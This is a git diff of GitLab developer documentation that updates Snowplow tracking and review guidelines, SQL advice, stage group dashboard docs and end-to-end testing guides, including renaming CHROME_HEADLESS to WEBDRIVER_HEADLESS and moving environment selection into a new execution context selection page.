-GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/ruby-tracker) for tracking custom events.
+GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/ruby-tracker/) for tracking custom events.
Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments:
@@ -481,7 +481,7 @@ https://docs.gitlab.com/ee/development/testing_guide/best_practices.html#test-sn
### Performance
-We use the [AsyncEmitter](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/ruby-tracker/emitters/#the-asyncemitter-class) when tracking events, which allows for instrumentation calls to be run in a background thread. This is still an active area of development.
+We use the [AsyncEmitter](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/ruby-tracker//emitters/#the-asyncemitter-class) when tracking events, which allows for instrumentation calls to be run in a background thread. This is still an active area of development.
## Developing and testing Snowplow
@@ -549,13 +549,13 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event
update application_settings set snowplow_collector_hostname='localhost:9090', snowplow_enabled=true, snowplow_cookie_domain='.gitlab.com';
```
-1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking.js` to remove `forceSecureTracker: true`:
+1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking/index.js` to remove `forceSecureTracker: true`:
```diff
- diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js
+ diff --git a/app/assets/javascripts/tracking/index.js b/app/assets/javascripts/tracking/index.js
index 0a1211d0a76..3b98c8f28f2 100644
- --- a/app/assets/javascripts/tracking.js
- +++ b/app/assets/javascripts/tracking.js
+ --- a/app/assets/javascripts/tracking/index.js
+ +++ b/app/assets/javascripts/tracking/index.js
@@ -7,7 +7,6 @@ const DEFAULT_SNOWPLOW_OPTIONS = {
appId: '',
userFingerprint: false,
diff --git a/doc/development/snowplow/review_guidelines.md b/doc/development/snowplow/review_guidelines.md
new file mode 100644
index 00000000000..285fbc3b44b
--- /dev/null
+++ b/doc/development/snowplow/review_guidelines.md
@@ -0,0 +1,43 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Snowplow review guidelines
+
+This page includes introductory material for a
+[Product Intelligence](https://about.gitlab.com/handbook/engineering/development/growth/product-intelligence/)
+review, and is specific to Snowplow related reviews. For broader advice and
+general best practices for code reviews, refer to our [code review guide](../code_review.md).
+
+## Resources for reviewers
+
+- [Snowplow Guide](index.md)
+- [Event Dictionary](dictionary.md)
+
+## Review process
+
+We recommend a Product Intelligence review when a merge request (MR) involves changes in
+events or touches Snowplow related files.
+
+### Roles and process
+
+#### The merge request **author** should
+
+- For frontend events, when relevant, add a screenshot of the event in
+ the [testing tool](../snowplow/index.md#developing-and-testing-snowplow) used.
+- For backend events, when relevant, add the output of the
+ [Snowplow Micro](index.md#snowplow-mini) good events
+ `GET http://localhost:9090/micro/good` (it might be a good idea
+ to reset with `GET http://localhost:9090/micro/reset` first).
+- Update the [Event Dictionary](event_dictionary_guide.md).
+
+#### The Product Intelligence **reviewer** should
+
+- Check that the [event taxonomy](../snowplow/index.md#structured-event-taxonomy) is correct.
+- Check the [usage recommendations](../snowplow/index.md#usage-recommendations).
+- Check that the [Event Dictionary](event_dictionary_guide.md) is up-to-date.
+- If needed, check that the events are firing locally using one of the
+[testing tools](../snowplow/index.md#developing-and-testing-snowplow) available.
+- Approve the MR, and relabel the MR with `~"product intelligence::approved"`.
diff --git a/doc/development/sql.md b/doc/development/sql.md
index a98645cfcae..ddca88cb9bb 100644
--- a/doc/development/sql.md
+++ b/doc/development/sql.md
@@ -70,7 +70,7 @@ WHERE title ILIKE '%Draft:%';
Because the value for `ILIKE` starts with a wildcard the database is not able to
use an index as it doesn't know where to start scanning the indexes.
-Luckily, PostgreSQL _does_ provide a solution: trigram GIN indexes. These
+Luckily, PostgreSQL _does_ provide a solution: trigram Generalized Inverted Index (GIN) indexes. These
indexes can be created as follows:
```sql
@@ -261,9 +261,9 @@ from `ActiveRecord::Base`.
## Use UNIONs
-UNIONs aren't very commonly used in most Rails applications but they're very
-powerful and useful. In most applications queries tend to use a lot of JOINs to
-get related data or data based on certain criteria, but JOIN performance can
+`UNION`s aren't very commonly used in most Rails applications but they're very
+powerful and useful. Queries tend to use a lot of `JOIN`s to
+get related data or data based on certain criteria, but `JOIN` performance can
quickly deteriorate as the data involved grows.
For example, if you want to get a list of projects where the name contains a
@@ -279,7 +279,7 @@ OR namespaces.name ILIKE '%gitlab%';
```
Using a large database this query can easily take around 800 milliseconds to
-run. Using a UNION we'd write the following instead:
+run. Using a `UNION` we'd write the following instead:
```sql
SELECT projects.*
@@ -301,7 +301,7 @@ This doesn't mean you should start using UNIONs everywhere, but it's something
to keep in mind when using lots of JOINs in a query and filtering out records
based on the joined data.
-GitLab comes with a `Gitlab::SQL::Union` class that can be used to build a UNION
+GitLab comes with a `Gitlab::SQL::Union` class that can be used to build a `UNION`
of multiple `ActiveRecord::Relation` objects. You can use this class as
follows:
diff --git a/doc/development/stage_group_dashboards.md b/doc/development/stage_group_dashboards.md
index 277c12fc938..8d44b36bc4a 100644
--- a/doc/development/stage_group_dashboards.md
+++ b/doc/development/stage_group_dashboards.md
@@ -42,13 +42,8 @@ We're currently displaying the information in 2 formats:
1. Budget Spent: This shows the time over the past 28 days that
features owned by the group have not been performing adequately.
-We're still discussing which of these is more understandable, please
-contribute in
-[Scalability issue #946](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/946)
-if you have thoughts on this topic.
-
The budget is calculated based on indicators per component. Each
-component has 2 indicators:
+component can have 2 indicators:
1. [Apdex](https://en.wikipedia.org/wiki/Apdex): The rate of
operations that performed adequately.
@@ -80,14 +75,44 @@ The calculation to a ratio then happens as follows:
\frac {operations\_meeting\_apdex + (total\_operations - operations\_with\_errors)} {total\_apdex\_measurements + total\_operations}
```
-*Caveat:* Not all components are included, causing the
-calculation to be less accurate for some groups. We're working on
-adding all components in
-[&437](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/437). This
-could cause the dashboard to display "No Data" for features with lower
-traffic.
+### Check where budget is being spent
+
+The row below the error budget row is collapsed by default. Expanding
+it shows which component and violation type had the most offending
+operations in the past 28 days.
+
+![Error attribution](img/stage_group_dashboards_error_attribution.png)
+
+The first panel on the left shows a table with the number of errors per
+component. Digging into the first row in that table is going to have
+the biggest impact on the budget spent.
+
+Commonly, the components spending most of the budget are Sidekiq or Puma. The panel in
+the center explains what these violation types mean, and how to dig
+deeper in the logs.
+
+The panel on the right provides links to Kibana that should reveal
+which endpoints or Sidekiq jobs are causing the errors.
+
+To learn how to use these panels and logs for
+determining which Rails endpoints are slow,
+see the [Error Budget Attribution for Purchase group](https://youtu.be/M9u6unON7bU) video.
+
+Other components visible in the table come from
+[service level indicators](https://sre.google/sre-book/service-level-objectives/) (SLIs) defined
+in the [metrics
+catalog](https://gitlab.com/gitlab-com/runbooks/-/blob/master/metrics-catalog/README.md).
+
+For those types of failures, you can follow the link to the service
+dashboard linked from the `type` column. The service dashboard
+contains a row specifically for the SLI that is causing the budget
+spent, with useful links to the logs and a description of what the
+component means. For example, see the `server` component of the
+`web-pages` service:
+
+![web-pages-server-component SLI](img/stage_group_dashboards_service_sli_detail.png)
-## Usage
+## Usage of the dasbhoard
Inside a stage group dashboard, there are some notable components. Let's take the [Source Code group's dashboard](https://dashboards.gitlab.net/d/stage-groups-source_code/stage-groups-group-dashboard-create-source-code?orgId=1) as an example.
diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md
index c44e26927fe..e153fa9f334 100644
--- a/doc/development/testing_guide/best_practices.md
+++ b/doc/development/testing_guide/best_practices.md
@@ -513,14 +513,14 @@ Finished in 34.51 seconds (files took 0.76702 seconds to load)
#### Run `:js` spec in a visible browser
-Run the spec with `CHROME_HEADLESS=0`, like this:
+Run the spec with `WEBDRIVER_HEADLESS=0`, like this:
```shell
-CHROME_HEADLESS=0 bin/rspec some_spec.rb
+WEBDRIVER_HEADLESS=0 bin/rspec some_spec.rb
```
The test completes quickly, but this gives you an idea of what's happening.
-Using `live_debug` with `CHROME_HEADLESS=0` pauses the open browser, and does not
+Using `live_debug` with `WEBDRIVER_HEADLESS=0` pauses the open browser, and does not
open the page again. This can be used to debug and inspect elements.
You can also add `byebug` or `binding.pry` to pause execution and [step through](../pry_debugging.md#stepping)
diff --git a/doc/development/testing_guide/end_to_end/environment_selection.md b/doc/development/testing_guide/end_to_end/environment_selection.md
index bcdf0e104dd..2192d9c4ed4 100644
--- a/doc/development/testing_guide/end_to_end/environment_selection.md
+++ b/doc/development/testing_guide/end_to_end/environment_selection.md
@@ -1,68 +1,8 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'execution_context_selection.md'
---
-# Environment selection
+This file was moved to [another location](execution_context_selection.md).
-Some tests are designed to be run against specific environments or [pipelines](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#scheduled-qa-test-pipelines).
-We can specify what environments or pipelines to run tests against using the `only` metadata.
-
-## Available switches
-
-| Switch | Function | Type |
-| -------| ------- | ----- |
-| `tld` | Set the top-level domain matcher | `String` |
-| `subdomain` | Set the subdomain matcher | `Array` or `String` |
-| `domain` | Set the domain matcher | `String` |
-| `production` | Match against production | `Static` |
-| `pipeline` | Match against a pipeline | `Array` or `Static`|
-
-WARNING:
-You cannot specify `:production` and `{ <switch>: 'value' }` simultaneously.
-These options are mutually exclusive. If you want to specify production, you
-can control the `tld` and `domain` independently.
-
-## Examples
-
-| Environment or pipeline | Key | Matches (regex for environments, string matching for pipelines) |
-| ---------------- | --- | --------------- |
-| `any` | `` | `.+.com` |
-| `gitlab.com` | `only: :production` | `gitlab.com` |
-| `staging.gitlab.com` | `only: { subdomain: :staging }` | `(staging).+.com` |
-| `gitlab.com and staging.gitlab.com` | `only: { subdomain: /(staging.)?/, domain: 'gitlab' }` | `(staging.)?gitlab.com` |
-| `dev.gitlab.org` | `only: { tld: '.org', domain: 'gitlab', subdomain: 'dev' }` | `(dev).gitlab.org` |
-| `staging.gitlab.com & domain.gitlab.com` | `only: { subdomain: %i[staging domain] }` | `(staging|domain).+.com` |
-| `nightly` | `only: { pipeline: :nightly }` | "nightly" |
-| `nightly`, `canary` | `only: { pipeline: [:nightly, :canary] }` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) and ["canary"](https://gitlab.com/gitlab-org/quality/canary) |
-
-```ruby
-RSpec.describe 'Area' do
- it 'runs in any environment or pipeline' do; end
-
- it 'runs only in production environment', only: :production do; end
-
- it 'runs only in staging environment', only: { subdomain: :staging } do; end
-
- it 'runs in dev environment', only: { tld: '.org', domain: 'gitlab', subdomain: 'dev' } do; end
-
- it 'runs in prod and staging environments', only: { subdomain: /(staging.)?/, domain: 'gitlab' } {}
-
- it 'runs only in nightly pipeline', only: { pipeline: :nightly } do; end
-
- it 'runs in nightly and canary pipelines', only: { pipeline: [:nightly, :canary] } do; end
-end
-```
-
-If the test has a `before` or `after`, you must add the `only` metadata
-to the outer `RSpec.describe`.
-
-If you want to run an `only: { :pipeline }` tagged test on your local GDK make sure either the `CI_PROJECT_NAME` CI/CD variable is unset, or that the `CI_PROJECT_NAME` variable matches the specified pipeline in the `only: { :pipeline }` tag, or just delete the `only: { :pipeline }` tag.
-
-## Quarantining a test for a specific environment
-
-Similarly to specifying that a test should only run against a specific environment, it's also possible to quarantine a
-test only when it runs against a specific environment. The syntax is exactly the same, except that the `only: { ... }`
-hash is nested in the [`quarantine: { ... }`](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests) hash.
-For instance, `quarantine: { only: { subdomain: :staging } }` only quarantines the test when run against staging.
+<!-- This redirect file can be deleted after <2021-08-14>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/testing_guide/end_to_end/execution_context_selection.md b/doc/development/testing_guide/end_to_end/execution_context_selection.md
new file mode 100644
index 00000000000..8456cfa8314
--- /dev/null
+++ b/doc/development/testing_guide/end_to_end/execution_context_selection.md
@@ -0,0 +1,122 @@
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Execution context selection
+
+Some tests are designed to be run against specific environments, or in specific [pipelines](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#scheduled-qa-test-pipelines) or jobs. We can specify the test execution context using the `only` and `except` metadata.
+
+## Available switches
+
+| Switch | Function | Type |
+| -------| ------- | ----- |
+| `tld` | Set the top-level domain matcher | `String` |
+| `subdomain` | Set the subdomain matcher | `Array` or `String` |
+| `domain` | Set the domain matcher | `String` |
+| `production` | Match the production environment | `Static` |
+| `pipeline` | Match a pipeline | `Array` or `Static`|
+| `job` | Match a job | `Array` or `Static`|
+
+WARNING:
+You cannot specify `:production` and `{ <switch>: 'value' }` simultaneously.
+These options are mutually exclusive. If you want to specify production, you
+can control the `tld` and `domain` independently.
+
+## Examples
+
+### Only
+
+Run tests in only the specified context.
+
+Matches use:
+
+- Regex for environments.
+- String matching for pipelines.
+- Regex or string matching for jobs.
+
+| Test execution context | Key | Matches |
+| ---------------- | --- | --------------- |
+| `gitlab.com` | `only: :production` | `gitlab.com` |
+| `staging.gitlab.com` | `only: { subdomain: :staging }` | `(staging).+.com` |
+| `gitlab.com and staging.gitlab.com` | `only: { subdomain: /(staging.)?/, domain: 'gitlab' }` | `(staging.)?gitlab.com` |
+| `dev.gitlab.org` | `only: { tld: '.org', domain: 'gitlab', subdomain: 'dev' }` | `(dev).gitlab.org` |
+| `staging.gitlab.com and domain.gitlab.com` | `only: { subdomain: %i[staging domain] }` | `(staging\|domain).+.com` |
+| The `nightly` pipeline | `only: { pipeline: :nightly }` | "nightly" |
+| The `nightly` and `canary` pipelines | `only: { pipeline: [:nightly, :canary] }` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) and ["canary"](https://gitlab.com/gitlab-org/quality/canary) |
+| The `ee:instance` job | `only: { job: 'ee:instance' }` | The `ee:instance` job in any pipeline |
+| Any `quarantine` job | `only: { job: '.*quarantine' }` | Any job ending in `quarantine` in any pipeline |
+
+```ruby
+RSpec.describe 'Area' do
+ it 'runs in any environment or pipeline' do; end
+ it 'runs only in production environment', only: :production do; end
+
+ it 'runs only in staging environment', only: { subdomain: :staging } do; end
+
+ it 'runs in dev environment', only: { tld: '.org', domain: 'gitlab', subdomain: 'dev' } do; end
+
+ it 'runs in prod and staging environments', only: { subdomain: /(staging.)?/, domain: 'gitlab' } {}
+
+ it 'runs only in nightly pipeline', only: { pipeline: :nightly } do; end
+
+ it 'runs in nightly and canary pipelines', only: { pipeline: [:nightly, :canary] } do; end
+end
+```
+
+### Except
+
+Run tests in their typical contexts _except_ as specified.
+
+Matches use:
+
+- Regex for environments.
+- String matching for pipelines.
+- Regex or string matching for jobs.
+
+| Test execution context | Key | Matches |
+| ---------------- | --- | --------------- |
+| `gitlab.com` | `except: :production` | `gitlab.com` |
+| `staging.gitlab.com` | `except: { subdomain: :staging }` | `(staging).+.com` |
+| `gitlab.com and staging.gitlab.com` | `except: { subdomain: /(staging.)?/, domain: 'gitlab' }` | `(staging.)?gitlab.com` |
+| `dev.gitlab.org` | `except: { tld: '.org', domain: 'gitlab', subdomain: 'dev' }` | `(dev).gitlab.org` |
+| `staging.gitlab.com and domain.gitlab.com` | `except: { subdomain: %i[staging domain] }` | `(staging\|domain).+.com` |
+| The `nightly` pipeline | `except: { pipeline: :nightly }` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) |
+| The `nightly` and `canary` pipelines | `except: { pipeline: [:nightly, :canary] }` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) and ["canary"](https://gitlab.com/gitlab-org/quality/canary) |
+| The `ee:instance` job | `except: { job: 'ee:instance' }` | The `ee:instance` job in any pipeline |
+| Any `quarantine` job | `except: { job: '.*quarantine' }` | Any job ending in `quarantine` in any pipeline |
+
+```ruby
+RSpec.describe 'Area' do
+ it 'runs in any execution context except the production environment', except: :production do; end
+
+ it 'runs in any execution context except the staging environment', except: { subdomain: :staging } do; end
+
+ it 'runs in any execution context except the nightly pipeline', except: { pipeline: :nightly } do; end
+
+ it 'runs in any execution context except the ee:instance job', except: { job: 'ee:instance' } do; end
+end
+```
+
+## Usage notes
+
+If the test has a `before` or `after` block, you must add the `only` or `except` metadata to the outer `RSpec.describe` block.
+
+To run a test tagged with `only` on your local GitLab instance, you can do one of the following:
+
+- Make sure you **do not** have the `CI_PROJECT_NAME` or `CI_JOB_NAME` environment variables set.
+- Set the appropriate variable to match the metadata. For example, if the metadata is `only: { pipeline: :nightly }` then set `CI_PROJECT_NAME=nightly`. If the metadata is `only: { job: 'ee:instance' }` then set `CI_JOB_NAME=ee:instance`.
+- Temporarily remove the metadata.
+
+To run a test tagged with `except` locally, you can either:
+
+- Make sure you **do not** have the `CI_PROJECT_NAME` or `CI_JOB_NAME` environment variables set.
+- Temporarily remove the metadata.
+
+## Quarantine a test for a specific environment
+
+Similarly to specifying that a test should only run against a specific environment, it's also possible to quarantine a
+test only when it runs against a specific environment. The syntax is exactly the same, except that the `only: { ... }`
+hash is nested in the [`quarantine: { ... }`](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests) hash.
+For example, `quarantine: { only: { subdomain: :staging } }` only quarantines the test when run against `staging`.
diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md
index 6ab288b0525..eca649b73a5 100644
--- a/doc/development/testing_guide/end_to_end/index.md
+++ b/doc/development/testing_guide/end_to_end/index.md
@@ -23,13 +23,13 @@ a black-box testing framework for the API and the UI.
We run scheduled pipelines each night to test nightly builds created by Omnibus.
You can find these pipelines at <https://gitlab.com/gitlab-org/quality/nightly/pipelines>
-(need Developer access permissions). Results are reported in the `#qa-nightly` Slack channel.
+(requires the Developer role). Results are reported in the `#qa-nightly` Slack channel.
### Testing staging
We run scheduled pipelines each night to test staging.
You can find these pipelines at <https://gitlab.com/gitlab-org/quality/staging/pipelines>
-(need Developer access permissions). Results are reported in the `#qa-staging` Slack channel.
+(requires the Developer role). Results are reported in the `#qa-staging` Slack channel.
### Testing code in merge requests
@@ -100,7 +100,7 @@ You may have noticed that we use `gitlab-org/build/omnibus-gitlab-mirror` instea
This is due to technical limitations in the GitLab permission model: the ability to run a pipeline
against a protected branch is controlled by the ability to push/merge to this branch.
This means that for developers to be able to trigger a pipeline for the default branch in
-`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have the
+`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have the
[Maintainer role](../../../user/permissions.md) for those projects.
For security reasons and implications, we couldn't open up the default branch to all the Developers.
Hence we created these mirrors where Developers and Maintainers are allowed to push/merge to the default branch.
@@ -212,6 +212,7 @@ Continued reading:
- [Testing with feature flags](feature_flags.md)
- [Flows](flows.md)
- [RSpec metadata/tags](rspec_metadata_tests.md)
+- [Execution context selection](execution_context_selection.md)
## Where can I ask for help?
diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md
index b6aef123c64..0819a2f7b54 100644
--- a/doc/development/testing_guide/end_to_end/resources.md
+++ b/doc/development/testing_guide/end_to_end/resources.md
@@ -50,7 +50,7 @@ create the resource via the public GitLab API:
- `#api_post_path`: The `POST` path to create a new resource.
- `#api_post_body`: The `POST` body (as a Ruby hash) to create a new resource.
-> Be aware that many API resources are [paginated](../../../api/README.md#pagination).
+> Be aware that many API resources are [paginated](../../../api/index.md#pagination).
> If you don't find the results you expect, check if there is more that one page of results.
Let's take the `Shirt` resource class, and add these three API methods:
diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
index 8a929737ebe..7f541f1be3f 100644
--- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
+++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
@@ -14,6 +14,7 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec
| Tag | Description |
|-----|-------------|
| `:elasticsearch` | The test requires an Elasticsearch service. It is used by the [instance-level scenario](https://gitlab.com/gitlab-org/gitlab-qa#definitions) [`Test::Integration::Elasticsearch`](https://gitlab.com/gitlab-org/gitlab/-/blob/72b62b51bdf513e2936301cb6c7c91ec27c35b4d/qa/qa/ee/scenario/test/integration/elasticsearch.rb) to include only tests that require Elasticsearch. |
+| `:except` | The test is to be run in their typical execution contexts _except_ as specified. See [test execution context selection](execution_context_selection.md) for more information. |
| `:geo` | The test requires two GitLab Geo instances - a primary and a secondary - to be spun up. |
| `:gitaly_cluster` | The test runs against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. |
| `:github` | The test requires a GitHub personal access token. |
@@ -26,10 +27,10 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec
| `:ldap_tls` | The test requires a GitLab instance to be configured to use an external LDAP server with TLS enabled. |
| `:mattermost` | The test requires a GitLab Mattermost service on the GitLab instance. |
| `:object_storage` | The test requires a GitLab instance to be configured to use multiple [object storage types](../../../administration/object_storage.md). Uses MinIO as the object storage server. |
-| `:only` | The test is only to be run against specific environments or pipelines. See [Environment selection](environment_selection.md) for more information. |
+| `:only` | The test is only to be run in specific execution contexts. See [test execution context selection](execution_context_selection.md) for more information. |
| `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify the GitLab configuration (for example, Staging). |
| `:packages` | The test requires a GitLab instance that has the [Package Registry](../../../administration/packages/#gitlab-package-registry-administration) enabled. |
-| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), runs in a separate job that only includes quarantined tests, and is allowed to fail. The test is skipped in its regular job so that if it fails it doesn't hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). |
+| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), runs in a separate job that only includes quarantined tests, and is allowed to fail. The test is skipped in its regular job so that if it fails it doesn't hold up the pipeline. Note that you can also [quarantine a test only when it runs in a specific context](execution_context_selection.md#quarantine-a-test-for-a-specific-environment). |
| `:relative_url` | The test requires a GitLab instance to be installed under a [relative URL](../../../install/relative_url.md). |
| `:reliable` | The test has been [promoted to a reliable test](https://about.gitlab.com/handbook/engineering/quality/guidelines/reliable-tests/#promoting-an-existing-test-to-reliable) meaning it passes consistently in all pipelines, including merge requests. |
| `:repository_storage` | The test requires a GitLab instance to be configured to use multiple [repository storage paths](../../../administration/repository_storage_paths.md). Paired with the `:orchestrated` tag. |
diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
index 859b8f950e3..f200d6c682a 100644
--- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
+++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
@@ -27,7 +27,7 @@ docker run \
To run the tests from the `/qa` directory:
```shell
-CHROME_HEADLESS=false bin/qa Test::Instance::All http://localhost -- qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
+WEBDRIVER_HEADLESS=false bin/qa Test::Instance::All http://localhost -- qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
```
The test automatically spins up a Docker container for Jenkins and tear down once the test completes.
@@ -131,7 +131,7 @@ sudo nginx -s reload
You could then run the tests from the `/qa` directory:
```shell
-CHROME_HEADLESS=false bin/qa Test::Instance::All http://gitlab-gitaly-cluster.test -- --tag gitaly_cluster
+WEBDRIVER_HEADLESS=false bin/qa Test::Instance::All http://gitlab-gitaly-cluster.test -- --tag gitaly_cluster
```
Once you have finished testing you can stop and remove the Docker containers:
@@ -160,13 +160,13 @@ You might see NGINX issues when you run `gdk start` or `gdk restart`. In that ca
Navigate to the folder in `/your-gdk/gitlab/qa` and issue the command:
```shell
-QA_DEBUG=true CHROME_HEADLESS=false GITLAB_ADMIN_USERNAME=rootusername GITLAB_ADMIN_PASSWORD=rootpassword GITLAB_QA_ACCESS_TOKEN=your_token_here GITLAB_QA_ADMIN_ACCESS_TOKEN=your_token_here CLUSTER_API_URL=https://kubernetes.docker.internal:6443 bundle exec bin/qa Test::Instance::All https://[YOUR-PORT].qa-tunnel.gitlab.info/ -- qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb --tag kubernetes --tag orchestrated --tag requires_admin
+QA_DEBUG=true WEBDRIVER_HEADLESS=false GITLAB_ADMIN_USERNAME=rootusername GITLAB_ADMIN_PASSWORD=rootpassword GITLAB_QA_ACCESS_TOKEN=your_token_here GITLAB_QA_ADMIN_ACCESS_TOKEN=your_token_here CLUSTER_API_URL=https://kubernetes.docker.internal:6443 bundle exec bin/qa Test::Instance::All https://[YOUR-PORT].qa-tunnel.gitlab.info/ -- qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb --tag kubernetes --tag orchestrated --tag requires_admin
```
The following includes more information on the command:
-`QA_DEBUG` - Set to `true` to verbosely log page object actions.
--`CHROME_HEADLESS` - When running locally, set to `false` to allow Chrome tests to be visible - watch your tests being run.
+-`WEBDRIVER_HEADLESS` - When running locally, set to `false` to allow browser tests to be visible - watch your tests being run.
-`GITLAB_ADMIN_USERNAME` - Admin username to use when adding a license.
-`GITLAB_ADMIN_PASSWORD` - Admin password to use when adding a license.
-`GITLAB_QA_ACCESS_TOKEN` and `GITLAB_QA_ADMIN_ACCESS_TOKEN` - A valid personal access token with the `api` scope. This is used for API access during tests, and is used in the version that staging is currently running. The `ADMIN_ACCESS_TOKEN` is from a user with admin access. Used for API access as an admin during tests.
@@ -279,7 +279,7 @@ Geo end-to-end tests can run locally against a [Geo GDK setup](https://gitlab.co
Run from the [`qa/` directory](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa) with both GDK Geo primary and Geo secondary instances running:
```shell
-CHROME_HEADLESS=false bundle exec bin/qa QA::EE::Scenario::Test::Geo --primary-address http://localhost:3001 --secondary-address http://localhost:3002 --without-setup
+WEBDRIVER_HEADLESS=false bundle exec bin/qa QA::EE::Scenario::Test::Geo --primary-address http://localhost:3001 --secondary-address http://localhost:3002 --without-setup
```
### Using Geo in Docker
@@ -455,7 +455,7 @@ To run the LDAP tests on your local with TLS enabled, follow these steps:
1. Run an LDAP test from [`gitlab/qa`](https://gitlab.com/gitlab-org/gitlab/-/tree/d5447ebb5f99d4c72780681ddf4dc25b0738acba/qa) directory:
```shell
- GITLAB_LDAP_USERNAME="tanuki" GITLAB_LDAP_PASSWORD="password" QA_DEBUG=true CHROME_HEADLESS=false bin/qa Test::Instance::All https://gitlab.test qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
+ GITLAB_LDAP_USERNAME="tanuki" GITLAB_LDAP_PASSWORD="password" QA_DEBUG=true WEBDRIVER_HEADLESS=false bin/qa Test::Instance::All https://gitlab.test qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
```
### Running LDAP tests with TLS disabled
@@ -483,5 +483,5 @@ To run the LDAP tests on your local with TLS disabled, follow these steps:
1. Run an LDAP test from [`gitlab/qa`](https://gitlab.com/gitlab-org/gitlab/-/tree/d5447ebb5f99d4c72780681ddf4dc25b0738acba/qa) directory:
```shell
- GITLAB_LDAP_USERNAME="tanuki" GITLAB_LDAP_PASSWORD="password" QA_DEBUG=true CHROME_HEADLESS=false bin/qa Test::Instance::All http://localhost qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
+ GITLAB_LDAP_USERNAME="tanuki" GITLAB_LDAP_PASSWORD="password" QA_DEBUG=true WEBDRIVER_HEADLESS=false bin/qa Test::Instance::All http://localhost qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
```
diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md
index 8573fa81718..d8f3a18577f 100644
--- a/doc/development/testing_guide/frontend_testing.md
+++ b/doc/development/testing_guide/frontend_testing.md
@@ -221,8 +221,8 @@ When it comes to querying DOM elements in your tests, it is best to uniquely and
the element.
Preferentially, this is done by targeting what the user actually sees using [DOM Testing Library](https://testing-library.com/docs/dom-testing-library/intro/).
-When selecting by text it is best to use the [`byRole`](https://testing-library.com/docs/queries/byrole) query
